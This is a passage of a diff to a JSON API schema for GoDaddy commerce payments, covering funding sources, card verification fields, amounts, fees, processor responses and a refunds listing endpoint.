"format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } }, - "cryptogram": { - "type": "string" - } + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" } - } - } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", + "description": "Tip amount details", "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } }, - "required": [ - "type" - ] + "title": "PaymentContext", + "type": "object" } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaypalPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "line2": { - "type": "string", - "description": "Address line 2" + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "city": { - "type": "string", - "description": "City" + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "territory": { - "type": "string", - "description": "Territory" + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "territoryType": { - "type": "string", + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" ], - "description": "Territory type" + "title": "Address Verification Status", + "type": "string" }, - "country": { - "type": "string", - "description": "Country" + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Paypal token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - } - ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" - } - }, - "properties": { - "sourceType": { - "type": "string", - "description": "Discriminator field representing the type of Funding source" - } - }, - "required": [ - "sourceType" - ] - }, - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "getRefunds", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/refunds", - "summary": "Get Refunds", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - }, - { - "name": "page", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 1 - } - }, - { - "name": "pageSize", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 10 - } - }, - { - "name": "totalRequired", - "in": "query", - "required": false, - "schema": { - "type": "boolean", - "default": false - } - } - ], - "responses": { - "200": { - "description": "Refund list", - "schema": { - "title": "Refunds", - "allOf": [ - { - "properties": { - "totalItems": { - "type": "integer" - }, - "totalPages": { - "type": "integer" - }, - "links": { - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "description": "HATEOAS links", - "type": "array", - "x-auto-generated": true, - "definitions": { - "Link": { - "description": "HATEOAS link", - "type": "object", + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], "properties": { - "href": { - "type": "string" - }, - "rel": { + "processorType": { "type": "string" } - } - } - }, - "items": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" }, - "rel": { - "type": "string" - } + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true } - } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" } - } - } - ], - "properties": { - "items": { - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", + ], + "description": "Represents capture transaction against a payment", + "properties": { + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Capture Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "externalProcessor": { + "description": "Processor that has already processed this payment externally", + "type": "string" + }, + "fundingSource": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" + }, + "propertyName": "sourceType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Refund Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" ], - "description": "Transaction status" + "type": "string" }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] + "properties": { + "city": { + "description": "City", + "type": "string" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" } }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + "processingInstruction": { + "$id": 